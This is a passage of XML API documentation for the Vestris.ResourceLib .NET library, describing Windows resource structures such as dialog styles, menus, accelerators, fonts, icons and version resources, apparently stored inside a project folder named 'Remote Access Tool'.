rectangle. If the string contains backslash (\) characters, SS_PATHELLIPSIS preserves as much as possible of the text after the last backslash. Using this style will force the control’s text to be on one line with no word wrap. Compare with SS_ENDELLIPSIS and SS_WORDELLIPSIS. Windows NT or later: Truncates any word that does not fit in the rectangle and adds ellipses. Using this style will force the control’s text to be on one line with no word wrap. Push button styles. http://msdn.microsoft.com/en-us/library/bb775951(VS.85).aspx Creates a push button that posts a WM_COMMAND message to the owner window when the user selects the button. Creates a push button that behaves like a BS_PUSHBUTTON style button, but has a distinct appearance. If the button is in a dialog box, the user can select the button by pressing the ENTER key, even when the button does not have the input focus. This style is useful for enabling the user to quickly select the most likely (default) option. Creates a small, empty check box with text. By default, the text is displayed to the right of the check box. To display the text to the left of the check box, combine this flag with the BS_LEFTTEXT style (or with the equivalent BS_RIGHTBUTTON style). Creates a button that is the same as a check box, except that the check state automatically toggles between checked and cleared each time the user selects the check box. Creates a small circle with text. By default, the text is displayed to the right of the circle. To display the text to the left of the circle, combine this flag with the BS_LEFTTEXT style (or with the equivalent BS_RIGHTBUTTON style). Use radio buttons for groups of related, but mutually exclusive choices. Creates a button that is the same as a check box, except that the box can be grayed as well as checked or cleared. Use the grayed state to show that the state of the check box is not determined. Creates a button that is the same as a three-state check box, except that the box changes its state when the user selects it. The state cycles through checked, indeterminate, and cleared. Creates a rectangle in which other controls can be grouped. Any text associated with this style is displayed in the rectangle's upper left corner. Obsolete, but provided for compatibility with 16-bit versions of Windows. Applications should use BS_OWNERDRAW instead. Creates a button that is the same as a radio button, except that when the user selects it, the system automatically sets the button's check state to checked and automatically sets the check state for all other buttons in the same group to cleared. Creates an owner-drawn button. The owner window receives a WM_DRAWITEM message when a visual aspect of the button has changed. Do not combine the BS_OWNERDRAW style with any other button styles. Microsoft Windows 2000: A composite style bit that results from using the OR operator on BS_* style bits. It can be used to mask out valid BS_* bits from a given bitmask. Places text on the left side of the radio button or check box when combined with a radio button or check box style. Same as the BS_RIGHTBUTTON style. Specifies that the button displays text. Specifies that the button displays an icon. Specifies that the button displays a bitmap. See the Remarks section for its interaction with BS_ICON. Left-justifies the text in the button rectangle. However, if the button is a check box or radio button that does not have the BS_RIGHTBUTTON style, the text is left justified on the right side of the check box or radio button. Right-justifies text in the button rectangle. However, if the button is a check box or radio button that does not have the BS_RIGHTBUTTON style, the text is right justified on the right side of the check box or radio button. Centers text horizontally in the button rectangle. Places text at the top of the button rectangle. Places text at the bottom of the button rectangle. Places text in the middle (vertically) of the button rectangle. Makes a button (such as a check box, three-state check box, or radio button) look and act like a push button. The button looks raised when it isn't pushed or checked, and sunken when it is pushed or checked. Wraps the button text to multiple lines if the text string is too long to fit on a single line in the button rectangle. Enables a button to send BN_KILLFOCUS and BN_SETFOCUS notification messages to its parent window. Specifies that the button is two-dimensional; it does not use the default shading to create a 3-D image. Microsoft Windows Vista and Version 6.00. Creates a split button that behaves like a BS_PUSHBUTTON style button, but also has a distinctive appearance. If the split button is in a dialog box, the user can select the split button by pressing the ENTER key, even when the split button does not have the input focus. This style is useful for enabling the user to quickly select the most likely (default) option. Microsoft Windows Vista and Version 6.00. Creates a command link button that behaves like a BS_PUSHBUTTON style button, but the command link button has a green arrow on the left pointing to the button text. A caption for the button text can be set by sending the BCM_SETNOTE message to the button. Microsoft Windows Vista and Version 6.00. Creates a command link button that behaves like a BS_PUSHBUTTON style button. If the button is in a dialog box, the user can select the command link button by pressing the ENTER key, even when the command link button does not have the input focus. This style is useful for enabling the user to quickly select the most likely (default) option. Edit control styles. http://msdn.microsoft.com/en-us/library/bb775464(VS.85).aspx Aligns text with the left margin. Windows 98/Me, Windows 2000/XP: Centers text in a single-line or multiline edit control. Windows 95, Windows NT 4.0 and earlier: Centers text in a multiline edit control. Windows 98/Me, Windows 2000/XP: Right-aligns text in a single-line or multiline edit control. Windows 95, Windows NT 4.0 and earlier: Right aligns text in a multiline edit control. Designates a multiline edit control. The default is single-line edit control. Converts all characters to uppercase as they are typed into the edit control. Converts all characters to lowercase as they are typed into the edit control. Displays an asterisk (*) for each character typed into the edit control. This style is valid only for single-line edit controls. Automatically scrolls text up one page when the user presses the ENTER key on the last line. Automatically scrolls text to the right by 10 characters when the user types a character at the end of the line. When the user presses the ENTER key, the control scrolls all text back to position zero. Negates the default behavior for an edit control. Converts text entered in the edit control. Prevents the user from typing or editing text in the edit control. Specifies that a carriage return be inserted when the user presses the ENTER key while entering text into a multiline edit control in a dialog box. If you do not specify this style, pressing the ENTER key has the same effect as pressing the dialog box's default push button. This style has no effect on a single-line edit control. Allows only digits to be entered into the edit control. Defines the header for a menu template. A complete menu template consists of a header and one or more menu item lists. Specifies the version number. This member must be zero. Specifies the offset, in bytes, from the end of the header. The menu item list begins at this offset. Usually, this member is zero, and the menu item list follows immediately after the header. Defines a menu item in a menu template. Specifies one or more of the following predefined menu options that control the appearance of the menu item. TODO Defines the header for an extended menu template. Template version number. This member must be 1 for extended menu templates. Offset of the first MENUEXITEMTEMPLATE structure, relative to the end of this structure member. If the first item definition immediately follows the dwHelpId member, this member should be 4. Drop-down menu or submenu item. Menu item type. This member can be a combination of the type (beginning with MFT) values listed with the MENUITEMINFO structure. Menu item state. This member can be a combination of the state (beginning with MFS) values listed with the MENUITEMINFO structure. Menu item identifier. This is an application-defined value that identifies the menu item. Value specifying whether the menu item is the last item in the menu bar, drop-down menu, submenu, or shortcut menu and whether it is an item that opens a drop-down menu or submenu. Specifies one or more of the following predefined menu options that control the appearance of the menu item. Indicates that the menu item is initially inactive and drawn with a gray effect. Indicates that the menu item has a check mark next to it. Indicates that the owner window of the menu is responsible for drawing all visual aspects of the menu item, including highlighted, selected, and inactive states. This option is not valid for an item in a menu bar. Indicates that the item is one that opens a drop-down menu or submenu. Indicates that the menu item is placed in a new column. The old and new columns are separated by a bar. Indicates that the menu item is placed in a new column. Indicates that the menu item has a vertical separator to its left. Specifies whether the menu item is the last item in the menu bar, drop-down menu, submenu, or shortcut menu and whether it is an item that opens a drop-down menu or submenu. This member can be zero or more of these values. Defines the last menu item in the menu bar, drop-down menu, submenu, or shortcut menu. Defines a item that opens a drop-down menu or submenu. Subsequent structures define menu items in the corresponding drop-down menu or submenu. Defines an accelerator key used in an accelerator table. http://msdn.microsoft.com/en-us/library/ms646340(VS.85).aspx Accelerator flags. Accelerator key. This member can be either a virtual-key code or an ASCII character code. Accelerator identifier. Flags, fVirt field of the Accelerator table structure. Virtual key. Specifies that no top-level menu item is highlighted when the accelerator is used. This is useful when defining accelerators for actions such as scrolling that do not correspond to a menu item. If NOINVERT is omitted, a top-level menu item will be highlighted (if possible) when the accelerator is used. Causes the accelerator to be activated only if the SHIFT key is down. Applies only to virtual keys. Causes the accelerator to be activated only if the CONTROL key is down. Applies only to virtual keys. Causes the accelerator to be activated only if the ALT key is down. Applies only to virtual keys. Virtual key definitions. Standard virtual left mouse button. Standard virtual right mouse button. Ctrl-Break / Ctrl-C. Standard virtual middle mouse button. Backspace. Tab. Delete. Return. Shift. Control. Menu. Pause. Caps lock. Escape. Space. End. Home. Left arrow. Up arrow. Right arrow. Down arrow. Print Screen. Insert. Delete. NEC PC-9800 keyboard '=' key on numpad. Fujitsu/OASYS keyboard 'Dictionary' key. Fujitsu/OASYS keyboard 'Unregister word' key. Fujitsu/OASYS keyboard 'Register word' key. Fujitsu/OASYS keyboard 'Left OYAYUBI' key. Fujitsu/OASYS keyboard 'Right OYAYUBI' key. ';:' for US '+' any country ',' any country '-' any country '.' any country '/?' for US '`~' for US '[{' for US '\|' for US ']}' for US ''"' for US 'AX' key on Japanese AX kbd "<>" or "\|" on RT 102-key kbd. Help key on ICO 00 key on ICO Contains information about an individual font in a font resource group. Specifies a user-defined version number for the resource data that tools can use to read and write resource files. Specifies the size of the file, in bytes. Contains a 60-character string with the font supplier's copyright information. Specifies the type of font file. Specifies the point size at which this character set looks best. Specifies the vertical resolution, in dots per inch, at which this character set was digitized. Specifies the horizontal resolution, in dots per inch, at which this character set was digitized. Specifies the distance from the top of a character definition cell to the baseline of the typographical font. Specifies the amount of leading inside the bounds set by the dfPixHeight member. Accent marks and other diacritical characters can occur in this area. Specifies the amount of extra leading that the application adds between rows. Specifies an italic font if not equal to zero. Specifies an underlined font if not equal to zero. Specifies a strikeout font if not equal to zero. Specifies the weight of the font in the range 0 through 1000. For example, 400 is roman and 700 is bold. If this value is zero, a default weight is used. Specifies the character set of the font. Specifies the width of the grid on which a vector font was digitized. For raster fonts, if the member is not equal to zero, it represents the width for all the characters in the bitmap. If the member is equal to zero, the font has variable-width characters. Specifies the height of the character bitmap for raster fonts or the height of the grid on which a vector font was digitized. Specifies the pitch and the family of the font. Specifies the average width of characters in the font (generally defined as the width of the letter x). This value does not include the overhang required for bold or italic characters. Specifies the width of the widest character in the font. Specifies the first character code defined in the font. Specifies the last character code defined in the font. Specifies the character to substitute for characters not in the font. Specifies the character that will be used to define word breaks for text justification. Specifies the number of bytes in each row of the bitmap. This value is always even so that the rows start on word boundaries. For vector fonts, this member has no meaning. Specifies the offset in the file to a null-terminated string that specifies a device name. For a generic font, this value is zero. Specifies the offset in the file to a null-terminated string that names the typeface. This member is reserved. This structure depicts the organization of data in a file-version resource. It contains version information not dependent on a particular language and code page combination. http://msdn.microsoft.com/en-us/library/aa909193.aspx A hardware independent dictionary of language and code page identifier tables. A new hardware independent dictionary of language and code page identifier tables. An existing hardware independent dictionary of language and code page identifier tables. Pointer to the beginning of data. Read a hardware independent dictionary of language and code page identifier tables. Pointer to the beginning of data. Pointer to the end of data. Write the hardware independent dictionary of language and code page identifier tables to a binary stream. Binary stream. The default language and code page identifier table. Returns a language and code page identifier table. Language ID. A language and code page identifier table. String representation of VarFileInfo. Indent. String in the VarFileInfo format. This structure depicts the organization of data in a file-version resource. It typically contains a list of language and code page identifier pairs that the version of the application or DLL supports. http://msdn.microsoft.com/en-us/library/bb202818.aspx A dictionary of language and code page identifier pairs. A new table of language and code page identifier pairs. A new table of language and code page identifier pairs. Table key. An existing table of language and code page identifier pairs. Pointer to the beginning of the data. Read a table of language and code page identifier pairs. Pointer to the beginning of the data. Write the table of language and code page identifier pairs to a binary stream. Binary stream. Last unpadded position. Returns a code page identifier for a given language. Language ID. Code page identifier. String representation of the var table. Indent. String representation of the var table. VS_VERSIONINFO This structure depicts the organization of data in a file-version resource. It is the root structure that contains all other file-version information structures. http://msdn.microsoft.com/en-us/library/aa914916.aspx The resource header. A dictionary of resource tables. An existing version resource. Module handle. Resource ID. Resource type. Resource name. Language ID. Resource size. A new language-netural version resource. Read a version resource from a previously loaded module. Module handle. Pointer to the beginning of the resource. Pointer to the end of the resource. String representation of the file version. Gets or sets a bitmask that specifies the Boolean attributes of the file. String representation of the protect version. Write this version resource to a binary stream. Binary stream. Returns an entry within this resource table. Entry key. A resource table. Returns an entry within this resource table. Entry index. A resource table. Return string representation of the version resource. winver.h, version management functions, types and definitions VS_VERSION signature. VS_VERSION structure version. VS_VERSION file flags mask. VS_VERSION file flags. The file contains debugging information. The file is a prerelease development version, not a final commercial release. PThe file has been modified somehow and is not identical to the original file that shipped with the product. The file was not built using standard release procedures. There should be data in the file's "PrivateBuild" version information string. The version information in this structure was not found inside the file, but instead was created when needed based on the best information available. Therefore, this structure's information may differ slightly from what the "real" values are. The file was built using standard release procedures, but is somehow different from the normal file having the same version number. There should be data in the file's "SpecialBuild" version information string. VS_VERSION file OSs. The operating system under which the file was designed to run could not be determined. The file was designed to run under MS-DOS. The file was designed to run under a 16-bit version of OS/2. The file was designed to run under a 32-bit version of OS/2. The file was designed to run under Windows NT/2000. The file was designed to run under the 16-bit Windows API. The file was designed to be run under a 16-bit version of Presentation Manager. The file was designed to be run under a 32-bit version of Presentation Manager. The file was designed to run under the 32-bit Windows API. VS_VERSION file types. The type of file could not be determined. The file is an application. The file is a Dynamic Link Library (DLL). The file is a device driver. dwFileSubtype contains more information. The file is a font. dwFileSubtype contains more information. The file is a virtual device. The file is a static link library. File sub-type. The type of driver could not be determined. The file is a printer driver. The file is a keyboard driver. The file is a language driver. The file is a display driver. The file is a mouse driver. The file is a network driver. The file is a system driver. The file is an installable driver. The file is a sound driver. The file is a communications driver. The file is an input method driver. The file is a versioned printer driver. The file is a raster font. The file is a vector font. The file is a TrueType font. ================================================ FILE: Remote Access Tool/packages/Vestris.ResourceLib.2.1.0/lib/netstandard2.0/Vestris.ResourceLib.xml ================================================ Vestris.ResourceLib Standard accelerator. Read the accelerator. Address in memory. Write accelerator to a binary stream. Binary stream. String representation of the accelerator key. An unsigned integer value that identifies the accelerator. String representation of the accelerator. String representation of the accelerator. An accelerator, RT_ACCELERATOR resource. An accelerator provides the user with access to an application's command set. Accelerator keys. A new accelerator resource. An existing accelerator resource. Module handle. Resource ID. Resource type. Resource name. Language ID. Resource size. Read the accelerators table. Handle to a module. Pointer to the beginning of the accelerator table. Address of the end of the accelerator table. String representation of the accelerators resource. Creates an 8 bit aligned copy of the buffer if it is not already aligned A bitmap file in a .bmp format. Device independent bitmap. An existing bitmap file. A file in a .bmp format. An embedded bitmap resource. An existing bitmap resource. Module handle. Resource ID. Resource type. Resource name. Language ID. Resource size. A new bitmap resource. Read the resource. Module handle. Pointer to the beginning of a resource. Pointer to the end of the resource. Write the bitmap resource to a binary stream. Binary stream. A device independent bitmap. This structure depicts the organization of data in a hardware-independent cursor resource. A hardware-independent cursor resource. Module handle. Resource ID. Resource type. Resource name. Language ID. Resource size. A new hardware-independent cursor resource. A new collection of cursors that can be embedded into an executable file. This structure depicts the organization of data in a cursor resource. An existing cursor resource. Module handle. Resource ID. Resource type. Resource name. Language ID. Resource size. A new cursor resource. Convert into an icon resource that can be written into an executable. Icon image. Icon Id. Language. An icon resource. Horizontal hotspot coordinate. The hot spot of a cursor is the point to which Windows refers in tracking the cursor's position. Vertical hot spot coordinate. The hot spot of a cursor is the point to which Windows refers in tracking the cursor's position. Write the cursor data to a file. Target executable file. Read DIB image. DIB bits. DIB size. A device-independent image consists of a BITMAPINFOHEADER where bmWidth is the width of the image andbmHeight is double the height of the image, followed by the bitmap color table, followed by the image pixels, followed by the mask pixels. Raw image data. Bitmap info header. Bitmap size in bytes. A new icon image. A device-independent bitmap. Bitmap data. Create a copy of an image. Source image. Read icon data. Pointer to the beginning of icon data. Icon data size. Size of the image mask. Position of the DIB bitmap bits within a DIB bitmap array. Number of colors in the palette. Returns the width of a row in a DIB Bitmap given the number of bits. DIB Bitmap rows always align on a DWORD boundary. Number of bits. Width of a row in bytes. Bitmap monochrome mask. Bitmap color (XOR) part of the image. Complete image. A container for the DIALOGTEMPLATEEX structure. Indicates the character set to use. X-coordinate, in dialog box units, of the upper-left corner of the dialog box. Y-coordinate, in dialog box units, of the upper-left corner of the dialog box. Width, in dialog box units, of the dialog box. Height, in dialog box units, of the dialog box. Dialog style. Extended dialog style. Weight of the font. Indicates whether the font is italic. Number of dialog items. An extended dialog structure. Read the dialog resource. Pointer to the beginning of the dialog structure. Write dialog control to a binary stream. Binary stream. String representation of the dialog. String in the DIALOGEX [dialog] format. A container for the DIALOGTEMPLATEEX structure. X-coordinate, in dialog box units, of the upper-left corner of the dialog box. Y-coordinate, in dialog box units, of the upper-left corner of the dialog box. Width, in dialog box units, of the dialog box. Height, in dialog box units, of the dialog box. Dialog style. Extended dialog style. Control identifier. An extended dialog control template structure. Read the dialog control. Pointer to the beginning of the dialog structure. Write the dialog control to a binary stream. Binary stream. Return a string representation of the dialog control. A single line in the "CLASS name id, dimensions and styles' format. A dialog template resource. A dialog template structure that describes the dialog. A structured dialog resource embedded in an executable module. Module handle. Resource handle. Type of resource. Resource name. Language id. Resource size. A structured dialog resource embedded in an executable module. Dialog resource in standard resource editor text format. Multi-line string. A container for the DIALOGTEMPLATE structure. X-coordinate, in dialog box units, of the upper-left corner of the dialog box. Y-coordinate, in dialog box units, of the upper-left corner of the dialog box. Width, in dialog box units, of the dialog box. Height, in dialog box units, of the dialog box. Dialog style. Extended dialog style. Number of dialog items. A standard dialog structure. Read the dialog resource. Pointer to the beginning of the dialog structure. Write the dialog template data to a binary stream. Binary stream. Returns a string representation of the dialog. String in the DIALOG ... format. A dialog template. X-coordinate, in dialog box units, of the upper-left corner of the dialog box. Y-coordinate, in dialog box units, of the upper-left corner of the dialog box. Width, in dialog box units, of the dialog box. Height, in dialog box units, of the dialog box. Style of the dialog box. Optional extended style of the dialog box. Number of items in this structure. The name of the typeface for the font. Point size of the font to use for the text in the dialog box and its controls. Dialog caption. Menu resource Id. Window class Id. Controls within this dialog. Dialog template representation in a standard text format. Multiline string. String represetnation of a control. Write the resource to a binary stream. Binary stream. A container for a control within a dialog template. X-coordinate, in dialog box units, of the upper-left corner of the dialog box. Y-coordinate, in dialog box units, of the upper-left corner of the dialog box. Width, in dialog box units, of the dialog box. Height, in dialog box units, of the dialog box. Dialog style. Extended dialog style. Control identifier. A standard dialog control structure. Write the dialog control to a binary stream. Binary stream. String represetnation of a control. A dialog template. X-coordinate, in dialog box units, of the upper-left corner of the dialog box. Y-coordinate, in dialog box units, of the upper-left corner of the dialog box. Width, in dialog box units, of the dialog box. Height, in dialog box units, of the dialog box. Style of the dialog box. Optional extended style of the dialog box. Dialog caption. Window class Id. Window class of the control. Additional creation data. Write the dialog control to a binary stream. Binary stream. Dialog template utility functions. Read a dialog resource id. Address in memory. Resource read. String representation of the dialog or control style of two types. Dialog or control style. String in the "s1 | s2 | ... | s3" format. String representation of the dialog or control styles of two types. Dialog or control style. Dialog or control extended style. String in the "s1 | s2 | ... | s3" format. String representation of the dialog or control style of one type. Dialog or control style. String in the "s1 | s2 | ... | s3" format. This structure depicts the organization of data in a hardware-independent icon resource. Returns the type of the resource in this group. Icons contained in this hardware-independent icon resource. A hardware-independent icon resource. Module handle. Resource ID. Resource type. Resource name. Language ID. Resource size. A new hardware-independent icon resource. Save a hardware-independent icon resource to an executable file. Name of an executable file (.exe or .dll). Read a hardware-independent icon resource from a loaded module. Loaded executable module. Pointer to the beginning of a hardware-independent icon resource. Pointer to the end of the hardware-independent icon resource. Write a hardware-independent icon resource to a binary stream. Binary stream. Fixed file information. Default Windows fixed file information. Fixed file info structure. Read the fixed file information structure. Address in memory. String representation of the file version. String representation of the protect version. Gets or sets a bitmask that specifies the Boolean attributes of the file. Write fixed file information to a binary stream. Binary stream. Size of the VS_FIXEDFILEINFO structure. String representation of the fixed file info. String representation of the fixed file info. A font directory entry. Font ordinal. Typeface name of the font. Specifies the name of the device if this font file is designated for a specific device. Font information. A new font directory entry. Read the font directory entry. Pointer in memory. Pointer to the end of the font directory entry. Write the font directory entry to a binary stream. Binary stream. A font directory, RT_FONTDIR resource. Number of fonts in this directory. A new font resource. An existing font resource. Module handle. Resource ID. Resource type. Resource name. Language ID. Resource size. Read the font resource. Handle to a module. Pointer to the beginning of the font structure. Address of the end of the font structure. Write the font directory to a binary stream. Binary stream. A font, RT_FONT resource. A new font resource. An existing font resource. Module handle. Resource ID. Resource type. Resource name. Language ID. Resource size. Read the font resource. Handle to a module. Pointer to the beginning of the font structure. Address of the end of the font structure. Write the font resource to a binary writer. Binary writer. Gdi32.dll interop functions. Bitmap compression options. An uncompressed format. A run-length encoded (RLE) format for bitmaps with 8 bpp. The compression format is a 2-byte format consisting of a count byte followed by a byte containing a color index. For more information, see Bitmap Compression. An RLE format for bitmaps with 4 bpp. The compression format is a 2-byte format consisting of a count byte followed by two word-length color indexes. For more information, see Bitmap Compression. Specifies that the bitmap is not compressed and that the color table consists of three DWORD color masks that specify the red, green, and blue components, respectively, of each pixel. This is valid when used with 16- and 32-bpp bitmaps. Windows 98/Me, Windows 2000/XP: Indicates that the image is a JPEG image. Windows 98/Me, Windows 2000/XP: Indicates that the image is a PNG image. A bitmap info header. See http://msdn.microsoft.com/en-us/library/ms532290.aspx for more information. Bitmap information size. Bitmap width. Bitmap height. Number of logical planes. Bitmap bitrate. Bitmap compression. Image size. Horizontal pixel resolution. Vertical pixel resolution. Returns the current bitmap compression. Bitmap pixel format. Bitmap pixel format English standard string. Defines the dimensions and color information of a Windows-based device-independent bitmap (DIB). http://msdn.microsoft.com/en-us/library/dd183375(VS.85).aspx. Specifies a bitmap information header structure that contains information about the dimensions of color format. An array of RGBQUAD. The elements of the array make up the color table. Store colors in a paletised icon (2, 4 or 8 bit). http://msdn.microsoft.com/en-us/library/ms997538.aspx Blue. Green. Red. Reserved. The BITMAPFILEHEADER structure contains information about the type, size, and layout of a file that contains a DIB. http://msdn.microsoft.com/en-us/library/dd183374(VS.85).aspx The file type; must be BM. The size, in bytes, of the bitmap file. Reserved; must be zero. Reserved; must be zero. The offset, in bytes, from the beginning of the BITMAPFILEHEADER structure to the bitmap bits. Set the pixels in the specified rectangle on the device that is associated with the destination device context using color data from a DIB, JPEG, or PNG image. http://msdn.microsoft.com/en-us/library/dd162974(VS.85).aspx A handle to the device context. The x-coordinate, in logical units, of the upper-left corner of the destination rectangle. The y-coordinate, in logical units, of the upper-left corner of the destination rectangle. The width, in logical units, of the image. The height, in logical units, of the image. The x-coordinate, in logical units, of the lower-left corner of the image. The y-coordinate, in logical units, of the lower-left corner of the image. The starting scan line in the image. The number of DIB scan lines contained in the array pointed to by the lpvBits parameter. A pointer to the color data stored as an array of bytes. A pointer to a BITMAPINFOHEADER structure that contains information about the DIB. Indicates whether the bmiColors member of the BITMAPINFOHEADER structure contains explicit red, green, blue (RGB) values or indexes into a palette. If the function succeeds, the return value is the number of scan lines set. If zero scan lines are set (such as when dwHeight is 0) or the function fails, the function returns zero. If the driver cannot support the JPEG or PNG file image passed to SetDIBitsToDevice, the function will fail and return GDI_ERROR. Set the pixels in the specified rectangle on the device that is associated with the destination device context using color data from a DIB, JPEG, or PNG image. http://msdn.microsoft.com/en-us/library/dd162974(VS.85).aspx A handle to the device context. The x-coordinate, in logical units, of the upper-left corner of the destination rectangle. The y-coordinate, in logical units, of the upper-left corner of the destination rectangle. The width, in logical units, of the image. The height, in logical units, of the image. The x-coordinate, in logical units, of the lower-left corner of the image. The y-coordinate, in logical units, of the lower-left corner of the image. The starting scan line in the image. The number of DIB scan lines contained in the array pointed to by the lpvBits parameter. A pointer to the color data stored as an array of bytes. A pointer to a BITMAPINFOHEADER structure that contains information about the DIB. Indicates whether the bmiColors member of the BITMAPINFOHEADER structure contains explicit red, green, blue (RGB) values or indexes into a palette. If the function succeeds, the return value is the number of scan lines set. If zero scan lines are set (such as when dwHeight is 0) or the function fails, the function returns zero. If the driver cannot support the JPEG or PNG file image passed to SetDIBitsToDevice, the function will fail and return GDI_ERROR. Retrieves the bits of the specified compatible bitmap and copies them into a buffer as a DIB using the specified format A handle to the device context. A handle to the bitmap. This must be a compatible bitmap (DDB). The first scan line to retrieve. The number of scan lines to retrieve. A pointer to a buffer to receive the bitmap data. A pointer to a BITMAPINFO structure that specifies the desired format for the DIB data. The format of the bmiColors member of the BITMAPINFO structure. If the lpvBits parameter is non-NULL and the function succeeds, the return value is the number of scan lines copied from the bitmap. If the lpvBits parameter is NULL and GetDIBits successfully fills the BITMAPINFO structure, the return value is non-zero. If the function fails, the return value is zero. Create a DIB that applications can write to directly. The function gives you a pointer to the location of the bitmap bit values. You can supply a handle to a file-mapping object that the function will use to create the bitmap, or you can let the system allocate the memory for the bitmap. Handle to a device context. A pointer to a BITMAPINFO structure that specifies various attributes of the DIB, including the bitmap dimensions and colors. The type of data contained in the bmiColors array member of the BITMAPINFO structure pointed to by pbmi (either logical palette indexes or literal RGB values). A pointer to a variable that receives a pointer to the location of the DIB bit values. A handle to a file-mapping object that the function will use to create the DIB. This parameter can be NULL. The offset from the beginning of the file-mapping object referenced by hSection where storage for the bitmap bit values is to begin. If the function succeeds, the return value is a handle to the newly created DIB, and *ppvBits points to the bitmap bit values. If the function fails, the return value is NULL, and *ppvBits is NULL. Defines how to interpret the values in the color table of a DIB. The color table contains literal RGB values. The color table consists of an array of 16-bit indexes into the LogPalette object that is currently defined in the playback device context. No color table exists. The pixels in the DIB are indices into the current logical palette in the playback device context. Creates a memory device context (DC) compatible with the specified device. Handle to an existing device context. The handle to a memory device context indicates success. NULL indicates failure. Specifies either DISPLAY or the name of a specific display device or the name of a print provider, which is usually WINSPOOL. Specifies the name of the specific output device being used, as shown by the Print Manager (for example, Epson FX-80). This parameter is ignored and should be set to NULL. It is provided only for compatibility with 16-bit Windows. A pointer to a DEVMODE structure containing device-specific initialization data for the device driver. Creates a bitmap compatible with the device that is associated with the specified device context. A handle to a device context. The bitmap width, in pixels. The bitmap height, in pixels. If the function succeeds, the return value is a handle to the compatible bitmap (DDB). If the function fails, the return value is NULL. Selects an object into a specified device context. The new object replaces the previous object of the same type. Handle to the device context. Handle to the object to be selected. If the selected object is not a region, the handle of the object being replaced indicates success. If the selected object is a region, one of the following values indicates success. Deletes a logical pen, brush, font, bitmap, region, or palette, freeing all system resources associated with the object. Handle to a logical pen, brush, font, bitmap, region, or palette. Nonzero indicates success. Zero indicates that the specified handle is not valid or that the handle is currently selected into a device context. Deletes the specified device context. A handle to the device context. If the function succeeds, the return value is nonzero. If the function fails, the return value is zero. A generic resource. Raw resource data. Raw resource data. An unstructured generic resource embedded in an executable module. Module handle. Resource handle. Type of resource. Resource name. Language id. Resource size. A generic resource. Resource name. Resource type. Resource language. Read a generic resource. Module handle. Pointer to the beginning of a resource. Pointer to the end of the resource. Write the resource to a binary stream. Binary stream. This structure depicts the organization of data in a hardware-independent icon resource. A hardware-independent icon resource. Module handle. Resource ID. Resource type. Resource name. Language ID. Resource size. A new hardware-independent icon resource. A new collection of icons that can be embedded into an executable file. This structure depicts the organization of data in a .ico file. Resource type. Icon. Cursor. Type of the group icon resource. Collection of icons in an .ico file. An existing .ico file. An existing icon (.ico) file. Load from a .ico file. An existing icon (.ico) file. Read icons. Pointer to the beginning of a FILEGRPICONDIR structure. Pointer to the end of a FILEGRPICONDIR structure. This structure depicts the organization of icon data in a .ico file. Icon header. Icon bitmap. New icon data. Icon width. Icon height. Image size in bytes. Read a single icon (.ico). Pointer to the beginning of this icon's data. Pointer to the beginning of all icon data. Pointer to the end of this icon's data. Icon size as a string. Icon size in the width x height format. This structure depicts the organization of data in an icon resource. Directory header. Actual image. Hardware-independent icon directory header. Embedded icon Id. An icon image. An existing icon resource. Module handle. Resource ID. Resource type. Resource name. Language ID. Resource size. A new icon resource. Create a new icon image resource from a file icon. File icon. Resource type. Resource id. Resource language. Icon width in pixels. Icon height in pixels. Image size in bytes. Read an icon resource from a previously loaded module. Module handle. Pointer to a directory entry in the hardware-independent icon resource. Pointer to the end of the icon resource. Read the bitmap image. DIB bits. Size of image. Icon pixel format. Icon pixel format English standard string. String representation of the icon. A string in a format of width x height followed by the pixel format. Write icon resource data to a binary stream. Binary stream. Save icon to a file. Target executable file. This structure depicts the organization of data in an icon resource. An existing icon resource. Module handle. Resource ID. Resource type. Resource name. Language ID. Resource size. A new icon resource. Convert into an icon resource that can be written into an executable. Icon image. Icon Id. Resource language. An icon resource. Kernel32.dll interop functions. A resource header. Header length. Data length. Resource type. A new resource header of a given length. Resource header type. Binary data. String data. Language and code page combinations. The low-order word of each DWORD must contain a Microsoft language identifier, and the high-order word must contain the IBM code page number. Either high-order or low-order word can be zero, indicating that the file is language or code page independent. Microsoft language identifier. IBM code page number. This structure contains version information about a file. This information is language- and code page–independent. http://msdn.microsoft.com/en-us/library/ms647001.aspx Contains the value 0xFEEF04BD. This is used with the szKey member of the VS_VERSIONINFO structure when searching a file for the VS_FIXEDFILEINFO structure. Specifies the binary version number of this structure. The high-order word of this member contains the major version number, and the low-order word contains the minor version number. Specifies the most significant 32 bits of the file's binary version number. This member is used with dwFileVersionLS to form a 64-bit value used for numeric comparisons. Specifies the least significant 32 bits of the file's binary version number. This member is used with dwFileVersionMS to form a 64-bit value used for numeric comparisons. Specifies the most significant 32 bits of the binary version number of the product with which this file was distributed. This member is used with dwProductVersionLS to form a 64-bit value used for numeric comparisons. Specifies the least significant 32 bits of the binary version number of the product with which this file was distributed. This member is used with dwProductVersionMS to form a 64-bit value used for numeric comparisons. Contains a bitmask that specifies the valid bits in dwFileFlags. A bit is valid only if it was defined when the file was created. Contains a bitmask that specifies the Boolean attributes of the file. Specifies the operating system for which this file was designed. Specifies the general type of file. Specifies the function of the file. Specifies the most significant 32 bits of the file's 64-bit binary creation date and time stamp. Specifies the least significant 32 bits of the file's 64-bit binary creation date and time stamp. Creates a default Windows VS_FIXEDFILEINFO structure. A default Windows VS_FIXEDFILEINFO. A hardware-independent icon directory resource header. http://msdn.microsoft.com/en-us/library/ms997538.aspx Reserved, must be zero. Resource type, 1 for icons. Number of images. Hardware-independent icon directory entry. See http://msdn.microsoft.com/en-us/library/ms997538.aspx for more information. Width of the image. Starting with Windows 95 a value of 0 represents width of 256. Height of the image. Starting with Windows 95 a value of 0 represents height of 256. Number of colors in the image. bColors = 1 << (wBitsPerPixel * wPlanes) If wBitsPerPixel* wPlanes is greater orequal to 8, then bColors = 0. Reserved. Number of bitmap planes. 1: monochrome bitmap Bits per pixel. 1: monochrome bitmap Image size in bytes. Icon ID. Hardware-independent icon directory entry in an .ico file. Icon width. Icon height. Colors; 0 means 256 or more. Reserved. Number of bitmap planes for icons. Horizontal hotspot for cursors. Bits per pixel for icons. Vertical hostpot for cursors. Image size in bytes. Offset of bitmap data from the beginning of the file. Hardware-independent icon structure in an .ico file. Reserved, must be zero. Resource Type (1 for icons). Number of images. If this value is used, the system maps the file into the calling process's virtual address space as if it were a data file. If this value is used, and the executable module is a DLL, the system does not call DllMain for process and thread initialization and termination. If this value is used and lpFileName specifies an absolute path, the system uses the alternate file search strategy. If this value is used, the system does not perform automatic trust comparisons on the DLL or its dependents when they are loaded. Loads the specified module into the address space of the calling process. The specified module may cause other modules to be loaded. The name of the module. This parameter 